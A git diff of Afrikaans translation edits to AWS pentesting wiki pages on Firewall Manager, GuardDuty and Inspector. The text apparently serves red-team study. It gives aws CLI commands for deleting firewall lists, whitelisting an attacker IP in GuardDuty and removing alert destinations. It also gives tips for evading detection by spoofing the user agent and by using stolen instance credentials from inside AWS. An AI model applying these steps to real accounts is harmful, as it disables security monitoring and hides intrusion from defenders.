Manager te skep, te wysig of te verwyder. Dit kan krities wees, aangesien nie-geautoriseerde toepassings toegang tot die algemene publiek mag kry, of toegang tot geautoriseerde toepassings mag ontken word, wat 'n DoS kan veroorsaak. +'n Aanvaller met die **`fms:PutAppsList`** en **`fms:DeleteAppsList`** toestemmings sal in staat wees om toepassingslyste van AWS Firewall Manager te skep, te wysig of te verwyder. Dit kan krities wees, aangesien ongeoorloofde toepassings toegang tot die algemene publiek mag kry, of toegang tot geoorloofde toepassings mag ontken word, wat 'n DoS kan veroorsaak. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` -**Potensiële Impak:** Dit kan lei tot verkeerde konfigurasies, beleidsontduiking, nakomingsoortredings, en onderbreking van sekuriteitsbeheer binne die omgewing. +**Potensiële Impak:** Dit kan lei tot verkeerde konfigurasies, beleidsontduiking, nakomingsoortredings, en ontwrigting van sekuriteitsbeheer binne die omgewing. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -'n Aanvaller met die **`fms:PutProtocolsList`** en **`fms:DeleteProtocolsList`** toestemmings sal in staat wees om protokollys te skep, te wysig of te verwyder vanaf AWS Firewall Manager. Net soos met toepassingslyste, kan dit krities wees aangesien ongeoorloofde protokolle deur die algemene publiek gebruik kan word, of die gebruik van geoorloofde protokolle kan ontken word, wat 'n DoS kan veroorsaak. +'n Aanvaller met die **`fms:PutProtocolsList`** en **`fms:DeleteProtocolsList`** regte sal in staat wees om protokollys te skep, te wysig of te verwyder vanaf AWS Firewall Manager. Net soos met toepassingslyste, kan dit krities wees aangesien ongeoorloofde protokolle deur die algemene publiek gebruik kan word, of die gebruik van geoorloofde protokolle kan ontken word, wat 'n DoS kan veroorsaak. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id @@ -257,7 +257,7 @@ Vir inligting oor die konfigurasie van 'n SNS-toegangbeleid: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**Potensiële Impak:** Dit kan potensieel lei tot gemiste sekuriteitswaarskuwings, vertraagde insidentrespons, potensiële datalekke en operasionele ontwrigtings binne die omgewing. +**Potensiële Impak:** Dit kan moontlik lei tot gemiste sekuriteitswaarskuwings, vertraagde insidentrespons, potensiële datalekke en operasionele ontwrigtings binne die omgewing. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index c06141262..4122875e8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,11 +4,11 @@ ## GuardDuty -Volgens die [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty kombineer **masjienleer, anomaliedetektering, netwerkmonitering, en kwaadwillige lêerontdekking**, met behulp van beide AWS en toonaangewende derdepartybronne om te help om werklading en data op AWS te beskerm. GuardDuty is in staat om tien biljoene gebeurtenisse oor verskeie AWS-databronne te analiseer, soos AWS CloudTrail gebeurtenislogs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) oudit- en stelselniveau logs, en DNS-vraaglogs. +Volgens die [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty kombineer **masjienleer, anomaliedetektering, netwerkmonitering, en kwaadwillige lêerontdekking**, met behulp van beide AWS en toonaangewende derdepartybronne om te help om werklas en data op AWS te beskerm. GuardDuty is in staat om tien biljoen gebeurtenisse oor verskeie AWS-datasoeke te analiseer, soos AWS CloudTrail gebeurtenislogs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) oudit- en stelsellogs, en DNS-vraaglogs. Amazon GuardDuty **identifiseer ongewone aktiwiteit binne jou rekeninge**, analiseer die **veiligheidsrelevansie** van die aktiwiteit, en gee die **konteks** waarin dit geaktiveer is. Dit stel 'n responder in staat om te bepaal of hulle tyd moet spandeer aan verdere ondersoek. -Waarskuwings **verskyn in die GuardDuty-konsol (90 dae)** en CloudWatch Events. +Alerte **verskyn in die GuardDuty-konsol (90 dae)** en CloudWatch Events. > [!WARNING] > Wanneer 'n gebruiker **GuardDuty deaktiveer**, sal dit ophou om jou AWS-omgewing te monitor en dit sal glad nie nuwe bevindings genereer nie, en die **bestaande bevindings sal verlore gaan**.\ @@ -17,9 +17,9 @@ Waarskuwings **verskyn in die GuardDuty-konsol (90 dae)** en CloudWatch Events. ### Bevindinge Voorbeeld - **Verkenning**: Aktiwiteit wat verkenning deur 'n aanvaller aandui, soos **ongewone API-aktiwiteit**, verdagte databasis **aanmeld** pogings, intra-VPC **poortskandering**, ongewone mislukte aanmeldversoekpatrone, of onbelemmerde poortprobering vanaf 'n bekende slegte IP. -- **Instansie-kompromie**: Aktiwiteit wat 'n instansie-kompromie aandui, soos **kripto-geldeenheid mynbou, agterdeur opdrag en beheer (C\&C)** aktiwiteit, malware wat domein generasie algoritmes (DGA) gebruik, uitgaande ontkenning van diens aktiwiteit, ongewone **hoë netwerk** verkeersvolume, ongewone netwerkprotokolle, uitgaande instansiekommunikasie met 'n bekende kwaadwillige IP, tydelike Amazon EC2 geloofsbriewe wat deur 'n eksterne IP-adres gebruik word, en data eksfiltrasie met behulp van DNS. -- **Rekening-kompromie**: Algemene patrone wat dui op rekening-kompromie sluit API-oproepe vanaf 'n ongewone geolokasie of anonymiserende proxy in, pogings om AWS CloudTrail logging te deaktiveer, veranderinge wat die rekening wagwoordbeleid verzwak, ongewone instansie of infrastruktuur bekendstellings, infrastruktuurontplooiings in 'n ongewone streek, geloofsbriewe-diefstal, verdagte databasis aanmeldaktiwiteit, en API-oproepe vanaf bekende kwaadwillige IP-adresse. -- **Emmer-kompromie**: Aktiwiteit wat 'n emmer-kompromie aandui, soos verdagte data-toegangspatrone wat geloofsbriefmisbruik aandui, ongewone Amazon S3 API-aktiwiteit vanaf 'n afgeleë gasheer, ongeoorloofde S3-toegang vanaf bekende kwaadwillige IP-adresse, en API-oproepe om data in S3-emmers te verkry vanaf 'n gebruiker met geen vorige geskiedenis van toegang tot die emmer of geaktiveer vanaf 'n ongewone ligging. Amazon GuardDuty monitor en analiseer voortdurend AWS CloudTrail S3 data gebeurtenisse (bv. GetObject, ListObjects, DeleteObject) om verdagte aktiwiteit oor al jou Amazon S3-emmers te detecteer. +- **Instansie-kompromie**: Aktiwiteit wat 'n instansie-kompromie aandui, soos **kripto-geldeenheid mynbou, agterdeur opdrag en beheer (C\&C)** aktiwiteit, malware wat domeingenerasie-algoritmes (DGA) gebruik, uitgaande ontkenning van diens aktiwiteit, ongewone **hoë netwerk** verkeersvolume, ongewone netwerkprotokolle, uitgaande instansiekommunikasie met 'n bekende kwaadwillige IP, tydelike Amazon EC2 geloofsbriewe wat deur 'n eksterne IP-adres gebruik word, en data-uitvloeiing met behulp van DNS. +- **Rekening-kompromie**: Algemene patrone wat dui op rekening-kompromie sluit API-oproepe vanaf 'n ongewone geolokasie of anonymiserende proxy in, pogings om AWS CloudTrail logging te deaktiveer, veranderinge wat die rekening wagwoordbeleid verzwak, ongewone instansie of infrastruktuur bekendstellings, infrastruktuurontplooiings in 'n ongewone streek, geloofsbriefdiefstal, verdagte databasis aanmeldaktiwiteit, en API-oproepe vanaf bekende kwaadwillige IP-adresse. +- **Emmer-kompromie**: Aktiwiteit wat 'n emmer-kompromie aandui, soos verdagte data-toegangspatrone wat geloofsbriefmisbruik aandui, ongewone Amazon S3 API-aktiwiteit vanaf 'n afgeleë gasheer, ongeoorloofde S3-toegang vanaf bekende kwaadwillige IP-adresse, en API-oproepe om data in S3-emmers te verkry vanaf 'n gebruiker met geen vorige geskiedenis van toegang tot die emmer of geaktiveer vanaf 'n ongewone ligging. Amazon GuardDuty monitor en analiseer voortdurend AWS CloudTrail S3 data-gebeurtenisse (bv. GetObject, ListObjects, DeleteObject) om verdagte aktiwiteit oor al jou Amazon S3-emmers te detecteer.
@@ -46,19 +46,19 @@ Die liggaam het hierdie inligting: ### Alle Bevindinge -Toegang tot 'n lys van al die GuardDuty bevindinge in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Toegang tot 'n lys van al die GuardDuty bevindings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ### Multi Rekeninge #### Deur Uitnodiging -Jy kan **ander rekeninge uitnooi** na 'n ander AWS GuardDuty rekening sodat **elke rekening vanaf dieselfde GuardDuty gemonitor word**. Die meesterrekening moet die lidrekeninge uitnooi en dan moet die verteenwoordiger van die lidrekening die uitnodiging aanvaar. +Jy kan **ander rekeninge** na 'n ander AWS GuardDuty rekening uitnooi sodat **elke rekening vanaf dieselfde GuardDuty gemonitor word**. Die meesterrekening moet die lidrekeninge uitnooi en dan moet die verteenwoordiger van die lidrekening die uitnodiging aanvaar. -#### Via Organisasie +#### Deur Organisasie -Jy kan enige rekening binne die organisasie aanwys om die **GuardDuty gedelegeerde administrateur** te wees. Slegs die organisasie bestuurrekening kan 'n gedelegeerde administrateur aanwys. +Jy kan enige rekening binne die organisasie aanwys om die **GuardDuty gedelegeerde administrateur** te wees. Slegs die organisasiebestuursrekening kan 'n gedelegeerde administrateur aanwys. -'n Rekening wat as 'n gedelegeerde administrateur aangewys word, word 'n GuardDuty administrateurrekening, het GuardDuty outomaties geaktiveer in die aangewese AWS Streek, en het ook die **toestemming om GuardDuty in te skakel en te bestuur vir al die rekeninge in die organisasie binne daardie Streek**. Die ander rekeninge in die organisasie kan gesien en bygevoeg word as GuardDuty lidrekeninge wat met hierdie gedelegeerde administrateurrekening geassosieer word. +'n Rekening wat as 'n gedelegeerde administrateur aangewys word, word 'n GuardDuty administrateurrekening, het GuardDuty outomaties geaktiveer in die aangewese AWS-streek, en het ook die **toestemming om GuardDuty in te skakel en te bestuur vir al die rekeninge in die organisasie binne daardie streek**. Die ander rekeninge in die organisasie kan gesien en bygevoeg word as GuardDuty lidrekeninge wat met hierdie gedelegeerde administrateurrekening geassosieer word. ## Enumerasie ```bash @@ -107,7 +107,7 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id Probeer soveel as moontlik uit te vind oor die gedrag van die kredensiale wat jy gaan gebruik: - Tye wat dit gebruik word -- Ligginge +- Plekke - Gebruikersagente / Dienste (Dit kan gebruik word vanaf awscli, webconsole, lambda...) - Toestemmings wat gereeld gebruik word @@ -116,7 +116,7 @@ Met hierdie inligting, herleef soveel as moontlik dieselfde scenario om die toeg - As dit 'n **gebruiker of 'n rol is wat deur 'n gebruiker toeganklik is**, probeer om dit in dieselfde ure te gebruik, vanaf dieselfde geolokasie (selfs dieselfde ISP en IP indien moontlik) - As dit 'n **rol is wat deur 'n diens gebruik word**, skep dieselfde diens in dieselfde streek en gebruik dit van daar in dieselfde tydsbereik - Probeer altyd om die **dieselfde toestemmings** te gebruik wat hierdie prinsiep gebruik het -- As jy **ander toestemmings moet gebruik of 'n toestemming moet misbruik** (byvoorbeeld, aflaai van 1.000.000 cloudtrail log lêers) doen dit **stadig** en met die **minimale hoeveelheid interaksies** met AWS (awscli roep soms verskeie lees API's aan voordat die skryf een) +- As jy **ander toestemmings moet gebruik of 'n toestemming moet misbruik** (byvoorbeeld, om 1.000.000 cloudtrail-loglêers af te laai) doen dit **stadig** en met die **minimale hoeveelheid interaksies** met AWS (awscli roep soms verskeie lees-API's aan voordat die skryf een) ### Breek GuardDuty @@ -135,7 +135,7 @@ aws guardduty create-filter --detector-id --name -- ``` #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Aanvallers met die vorige voorregte kon GuardDuty se [**Vertroude IP lys**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) wysig deur hul IP adres daaraan toe te voeg en sodoende die generering van waarskuwings te vermy. +Aanvallers met die vorige voorregte kon GuardDuty se [**Vertroude IP lys**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) wysig deur hul IP-adres daaraan toe te voeg en sodoende die generering van waarskuwings te vermy. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` @@ -146,11 +146,11 @@ Aanvallers kan die bestemming verwyder om waarskuwings te voorkom: aws guardduty delete-publishing-destination --detector-id --destination-id ``` > [!CAUTION] -> Die verwydering van hierdie publikasiebestemming sal **nie die generasie of sigbaarheid van bevindings binne die GuardDuty-konsol beïnvloed nie**. GuardDuty sal voortgaan om gebeurtenisse in jou AWS-omgewing te analiseer, verdagte of onverwagte gedrag te identifiseer, en bevindings te genereer. +> Die verwydering van hierdie publikasiebestemming sal **nie die generering of sigbaarheid van bevindings binne die GuardDuty-konsol beïnvloed nie**. GuardDuty sal voortgaan om gebeurtenisse in jou AWS-omgewing te analiseer, verdagte of onverwagte gedrag te identifiseer, en bevindings te genereer. ### Spesifieke Bevinding Bypass Voorbeelde -Let daarop dat daar tientalle GuardDuty bevindings is, egter, **as 'n Red Teamer sal nie almal jou beïnvloed nie**, en wat beter is, jy het die **volledige dokumentasie van elk van hulle** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so kyk na hulle voordat jy enige aksie onderneem om nie gevang te word nie. +Let daarop dat daar tientalle GuardDuty bevindings is, egter, **as 'n Red Teamer sal nie almal jou beïnvloed nie**, en wat beter is, jy het die **volledige dokumentasie van elk van hulle** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so kyk na dit voordat jy enige aksie onderneem om nie gevang te word nie. Hier is 'n paar voorbeelde van spesifieke GuardDuty bevindinge bypasses: @@ -158,13 +158,13 @@ Hier is 'n paar voorbeelde van spesifieke GuardDuty bevindinge bypasses: GuardDuty detect AWS API versoeke van algemene penetrasietoets gereedskap en aktiveer 'n [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ Dit word opgespoor deur die **gebruikersagentnaam** wat in die API versoek oorgedra word.\ -Daarom, **om die gebruikersagent te wysig** is dit moontlik om GuardDuty te verhoed om die aanval te detecteer. +Daarom, **om die gebruikersagent te wysig** is dit moontlik om te voorkom dat GuardDuty die aanval opspoor. -Om dit te voorkom kan jy soek vanaf die skrip `session.py` in die `botocore` pakket en die gebruikersagent wysig, of Burp Suite as die AWS CLI proxy stel en die gebruikersagent met die MitM verander of net 'n OS soos Ubuntu, Mac of Windows gebruik sal voorkom dat hierdie waarskuwing geaktiveer word. +Om dit te voorkom kan jy soek vanaf die skrip `session.py` in die `botocore` pakket en die gebruikersagent wysig, of stel Burp Suite as die AWS CLI proxy en verander die gebruikersagent met die MitM of gebruik net 'n OS soos Ubuntu, Mac of Windows wat hierdie waarskuwing sal voorkom. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Die onttrekking van EC2 geloofsbriewe uit die metadata diens en **dit buite** die AWS-omgewing gebruik aktiveer die [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) waarskuwing. Omgekeerd, die gebruik van hierdie geloofsbriewe vanaf jou EC2 instance aktiveer die [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) waarskuwing. Tog, **die gebruik van die geloofsbriewe op 'n ander gecompromitteerde EC2 instance binne dieselfde rekening gaan ongemerk**, wat geen waarskuwing veroorsaak nie. +Die onttrekking van EC2 geloofsbriewe uit die metadata diens en **dit buite** die AWS-omgewing gebruik aktiveer die [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) waarskuwing. Omgekeerd, die gebruik van hierdie geloofsbriewe vanaf jou EC2 instance aktiveer die [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) waarskuwing. Tog, **die gebruik van die geloofsbriewe op 'n ander gecompromitteerde EC2 instance binne dieselfde rekening gaan onopgemerk**, wat geen waarskuwing veroorsaak nie. > [!TIP] > Daarom, **gebruik die onttrokken geloofsbriewe van binne die masjien** waar jy dit gevind het om nie hierdie waarskuwing te aktiveer nie. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index bc2879a74..1b1f0f623 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is 'n gevorderde, geoutomatiseerde kwesbaarheidbestuurdiens wat ontwerp is om die sekuriteit van jou AWS-omgewing te verbeter. Hierdie diens skandeer deurlopend Amazon EC2-instances, houerbeelde in Amazon ECR, Amazon ECS, en AWS Lambda-funksies vir kwesbaarhede en onbedoelde netwerkblootstelling. Deur 'n robuuste kwesbaarheidintelligensiedatabasis te benut, bied Amazon Inspector gedetailleerde bevindings, insluitend ernsvlakke en herstelaanbevelings, wat organisasies help om proaktief sekuriteitsrisiko's te identifiseer en aan te spreek. Hierdie omvattende benadering verseker 'n versterkte sekuriteitsposisie oor verskeie AWS-dienste, wat help met nakoming en risiko-bestuur. +Amazon Inspector is 'n gevorderde, geoutomatiseerde kwesbaarheidbestuurdiens wat ontwerp is om die sekuriteit van jou AWS-omgewing te verbeter. Hierdie diens skandeer deurlopend Amazon EC2-instances, houerbeelde in Amazon ECR, Amazon ECS, en AWS Lambda-funksies vir kwesbaarhede en onbedoelde netwerkblootstelling. Deur 'n robuuste kwesbaarheidintelligensie-databasis te benut, bied Amazon Inspector gedetailleerde bevindings, insluitend ernsvlaktes en herstelaanbevelings, wat organisasies help om proaktief sekuriteitsrisiko's te identifiseer en aan te spreek. Hierdie omvattende benadering verseker 'n versterkte sekuriteitsposisie oor verskeie AWS-dienste, wat help met nakoming en risiko-bestuur. ### Key elements #### Findings -Findings in Amazon Inspector is gedetailleerde verslae oor kwesbaarhede en blootstellings wat tydens die skandering van EC2-instances, ECR-bewaarplekke, of Lambda-funksies ontdek is. Gebaseer op sy toestand, word findings gekategoriseer as: +Bevindings in Amazon Inspector is gedetailleerde verslae oor kwesbaarhede en blootstellings wat tydens die skandering van EC2-instances, ECR-bewaarplekke, of Lambda-funksies ontdek is. Gebaseer op sy toestand, word bevindings gekategoriseer as: - **Aktief**: Die bevinding is nie herstel nie. - **Gesluit**: Die bevinding is herstel. - **Onderdruk**: Die bevinding is met hierdie toestand gemerk weens een of meer **onderdrukking reëls**. -Findings word ook in die volgende drie tipes gekategoriseer: +Bevindings word ook in die volgende drie tipes gekategoriseer: -- **Pakket**: Hierdie findings hou verband met kwesbaarhede in sagtewarepakkette wat op jou hulpbronne geïnstalleer is. Voorbeelde sluit verouderde biblioteke of afhanklikhede met bekende sekuriteitskwessies in. +- **Pakket**: Hierdie bevindings hou verband met kwesbaarhede in sagtewarepakkette wat op jou hulpbronne geïnstalleer is. Voorbeelde sluit verouderde biblioteke of afhanklikhede met bekende sekuriteitskwessies in. - **Kode**: Hierdie kategorie sluit kwesbaarhede in die kode van toepassings wat op jou AWS-hulpbronne loop in. Algemene probleme is koderingfoute of onveilige praktyke wat tot sekuriteitsbreuke kan lei. -- **Netwerk**: Netwerk findings identifiseer potensiële blootstellings in netwerkkonfigurasies wat deur aanvallers uitgebuit kan word. Hierdie sluit oop poorte, onveilige netwerkprotokolle, en verkeerd geconfigureerde sekuriteitsgroepe in. +- **Netwerk**: Netwerkbevindinge identifiseer potensiële blootstellings in netwerkkonfigurasies wat deur aanvallers uitgebuit kan word. Hierdie sluit oop poorte, onveilige netwerkprotokolle, en verkeerd geconfigureerde sekuriteitsgroepe in. #### Filters and Suppression Rules -Filters en onderdrukking reëls in Amazon Inspector help om findings te bestuur en te prioriseer. Filters laat jou toe om findings te verfyn op grond van spesifieke kriteria, soos erns of hulpbron tipe. Onderdrukking reëls laat jou toe om sekere findings wat as lae risiko beskou word, wat reeds gemitigeer is, of vir enige ander belangrike rede, te onderdruk, wat voorkom dat hulle jou sekuriteitsverslae oorlaai en jou toelaat om op meer kritieke kwessies te fokus. +Filters en onderdrukking reëls in Amazon Inspector help om bevindings te bestuur en te prioriseer. Filters laat jou toe om bevindings te verfyn op grond van spesifieke kriteria, soos erns of hulpbron tipe. Onderdrukking reëls laat jou toe om sekere bevindings wat as lae risiko beskou word, wat reeds gemitigeer is, of vir enige ander belangrike rede, te onderdruk, wat voorkom dat hulle jou sekuriteitsverslae oorlaai en jou toelaat om op meer kritieke kwessies te fokus. #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is 'n uitvoerbare geneste inventarislis wat al die komponente binne 'n sagtewarepakket, insluitend biblioteke en afhanklikhede, in detail uiteensit. SBOMs help om deursigtigheid in die sagteware voorsieningsketting te bied, wat beter kwesbaarheidbestuur en nakoming moontlik maak. Hulle is van kardinale belang om risiko's wat verband hou met oopbron en derdeparty-sagtewarekomponente te identifiseer en te mitigeer. +'n Software Bill of Materials (SBOM) in Amazon Inspector is 'n uitvoerbare geneste inventarislis wat al die komponente binne 'n sagtewarepakket, insluitend biblioteke en afhanklikhede, in detail uiteensit. SBOMs help om deursigtigheid in die sagtewarevoorsieningsketting te bied, wat beter kwesbaarheidbestuur en nakoming moontlik maak. Hulle is van kardinale belang om risiko's wat verband hou met oopbron- en derdeparty-sagtewarekomponente te identifiseer en te mitigeer. ### Key features #### Export findings -Amazon Inspector bied die vermoë om findings na Amazon S3 Buckets, Amazon EventBridge en AWS Security Hub te uitvoer, wat jou in staat stel om gedetailleerde verslae van geïdentifiseerde kwesbaarhede en blootstellings vir verdere analise of deel op 'n spesifieke datum en tyd te genereer. Hierdie kenmerk ondersteun verskeie uitvoerformate soos CSV en JSON, wat dit makliker maak om met ander gereedskap en stelsels te integreer. Die uitvoerfunksionaliteit laat aanpassing van die data wat in die verslae ingesluit is toe, wat jou in staat stel om findings te filter op grond van spesifieke kriteria soos erns, hulpbron tipe, of datumbereik en sluit standaard al jou findings in die huidige AWS Region met 'n Aktiewe status in. +Amazon Inspector bied die vermoë om bevindings na Amazon S3 Buckets, Amazon EventBridge en AWS Security Hub te eksporteer, wat jou in staat stel om gedetailleerde verslae van geïdentifiseerde kwesbaarhede en blootstellings vir verdere analise of deel op 'n spesifieke datum en tyd te genereer. Hierdie kenmerk ondersteun verskeie uitvoerformate soos CSV en JSON, wat dit makliker maak om met ander gereedskap en stelsels te integreer. Die uitvoerfunksionaliteit laat aanpassing van die data wat in die verslae ingesluit is toe, wat jou in staat stel om bevindings te filter op grond van spesifieke kriteria soos erns, hulpbron tipe, of datumbereik en sluit standaard al jou bevindings in die huidige AWS Region met 'n Aktiewe status in. -Wanneer findings uitgevoer word, is 'n Key Management Service (KMS) sleutel nodig om die data tydens uitvoer te enkripteer. KMS sleutels verseker dat die uitgevoerde findings teen ongemagtigde toegang beskerm word, wat 'n ekstra laag sekuriteit vir sensitiewe kwesbaarheidinligting bied. +Wanneer bevindings uitgevoer word, is 'n Key Management Service (KMS) sleutel nodig om die data tydens uitvoer te enkripteer. KMS sleutels verseker dat die uitgevoerde bevindings teen ongemagtigde toegang beskerm word, wat 'n ekstra laag van sekuriteit vir sensitiewe kwesbaarheidinligting bied. #### Amazon EC2 instances scanning -Amazon Inspector bied robuuste skandeervermoëns vir Amazon EC2-instances om kwesbaarhede en sekuriteitskwessies te ontdek. Inspector het onttrokken metadata van die EC2-instance vergelyk met reëls van sekuriteitsadvies om pakketskwesbaarhede en netwerkbereikbaarheidkwessies te produseer. Hierdie skanderings kan uitgevoer word deur **agent-gebaseerde** of **agentlose** metodes, afhangende van die **skandeermodus** instellingskonfigurasie van jou rekening. +Amazon Inspector bied robuuste skandeervermoëns vir Amazon EC2-instances om kwesbaarhede en sekuriteitskwessies te detecteer. Inspector het ontginde metadata van die EC2-instance vergelyk met reëls van sekuriteitsadvies om pakketskwesbaarhede en netwerkbereikbaarheidkwessies te produseer. Hierdie skanderings kan uitgevoer word deur **agent-gebaseerde** of **agentlose** metodes, afhangende van die **skandeermodus** instellingskonfigurasie van jou rekening. -- **Agent-GeBASEER**: Gebruik die AWS Systems Manager (SSM) agent om diepgaande skanderings uit te voer. Hierdie metode laat vir omvattende dataversameling en -analise direk vanaf die instance toe. -- **Agentlose**: Bied 'n liggewig alternatief wat nie die installering van 'n agent op die instance vereis nie, deur 'n EBS-snapshots van elke volume van die EC2-instance te skep, op soek na kwesbaarhede, en dit dan te verwyder; benut bestaande AWS-infrastruktuur vir skandering. +- **Agent-GeBASEER**: Maak gebruik van die AWS Systems Manager (SSM) agent om diepgaande skanderings uit te voer. Hierdie metode laat vir omvattende dataversameling en -analise direk vanaf die instance toe. +- **Agentlose**: Bied 'n liggewig alternatief wat nie die installering van 'n agent op die instance vereis nie, deur 'n EBS-snapshots van elke volume van die EC2-instance te skep, op soek na kwesbaarhede, en dit dan te verwyder; wat bestaande AWS-infrastruktuur vir skandering benut. Die skandeermodus bepaal watter metode gebruik sal word om EC2-skanderings uit te voer: - **Agent-GeBASEER**: Betrek die installering van die SSM-agent op EC2-instances vir diep inspeksie. - **Hibrid Skandering**: Kombineer beide agent-gebaseerde en agentlose metodes om dekking te maksimeer en prestasie-impak te minimaliseer. In daardie EC2-instances waar die SSM-agent geïnstalleer is, sal Inspector 'n agent-gebaseerde skandering uitvoer, en vir diegene waar daar geen SSM-agent is nie, sal die skandering agentloos wees. -Nog 'n belangrike kenmerk is die **diep inspeksie** vir EC2 Linux-instances. Hierdie kenmerk bied deeglike analise van die sagteware en konfigurasie van EC2 Linux-instances, wat gedetailleerde kwesbaarheidbeoordelings bied, insluitend bedryfstelsels kwesbaarhede, toepassings kwesbaarhede, en verkeerd konfigureerde instellings, wat 'n omvattende sekuriteitsbeoordeling verseker. Dit word bereik deur die inspeksie van **aangepaste paaie** en al sy sub-gidse. Standaard sal Amazon Inspector die volgende skandeer, maar elke lidrekening kan tot 5 meer aangepaste paaie definieer, en elke gedelegeerde administrateur tot 10: +Nog 'n belangrike kenmerk is die **diepe inspeksie** vir EC2 Linux-instances. Hierdie kenmerk bied deeglike analise van die sagteware en konfigurasie van EC2 Linux-instances, wat gedetailleerde kwesbaarheidbeoordelings bied, insluitend bedryfstelsels kwesbaarhede, toepassings kwesbaarhede, en verkeerde konfigurasies, wat 'n omvattende sekuriteitsbeoordeling verseker. Dit word bereik deur die inspeksie van **aangepaste paaie** en al sy sub-gidse. Standaard sal Amazon Inspector die volgende skandeer, maar elke lidrekening kan tot 5 meer aangepaste paaie definieer, en elke gedelegeerde administrateur tot 10: - `/usr/lib` - `/usr/lib64` @@ -61,9 +61,9 @@ Nog 'n belangrike kenmerk is die **diep inspeksie** vir EC2 Linux-instances. Hie #### Amazon ECR container images scanning -Amazon Inspector bied robuuste skandeervermoëns vir Amazon Elastic Container Registry (ECR) houerbeelde, wat verseker dat pakketskwesbaarhede doeltreffend ontdek en bestuur word. +Amazon Inspector bied robuuste skandeervermoëns vir Amazon Elastic Container Registry (ECR) houerbeelde, wat verseker dat pakketskwesbaarhede doeltreffend gedetecteer en bestuur word. -- **Basiese Skandering**: Dit is 'n vinnige en liggewig skandering wat bekende OS-pakketskwesbaarhede in houerbeelde identifiseer met behulp van 'n standaard stel reëls van die oopbron Clair-projek. Met hierdie skandeer konfigurasie, sal jou bewaringe geskanteer word op druk, of deur handmatige skanderings uit te voer. +- **Basiese Skandering**: Dit is 'n vinnige en liggewig skandering wat bekende OS-pakketskwesbaarhede in houerbeelde identifiseer deur 'n standaard stel reëls van die oopbron Clair-projek. Met hierdie skandeer konfigurasie, sal jou bewaringe geskanteer word op druk, of deur handmatige skanderings uit te voer. - **Verbeterde Skandering**: Hierdie opsie voeg die deurlopende skandeerfunksie by, benewens die op druk skandering. Verbeterde skandering delf dieper in die lae van elke houerbeeld om kwesbaarhede in OS-pakkette en in programmeringstaal pakkette met hoër akkuraatheid te identifiseer. Dit analiseer beide die basisbeeld en enige addisionele lae, wat 'n omvattende oorsig van potensiële sekuriteitskwessies bied. #### Amazon Lambda functions scanning @@ -71,7 +71,7 @@ Amazon Inspector bied robuuste skandeervermoëns vir Amazon Elastic Container Re Amazon Inspector sluit omvattende skandeervermoëns vir AWS Lambda-funksies en sy lae in, wat die sekuriteit en integriteit van serverless toepassings verseker. Inspector bied twee tipes skandering vir Lambda-funksies: - **Lambda standaard skandering**: Hierdie standaard kenmerk identifiseer sagtewarekwesbaarhede in die toepassingspakket afhanklikhede wat by jou Lambda-funksie en lae gevoeg is. Byvoorbeeld, as jou funksie 'n weergawe van 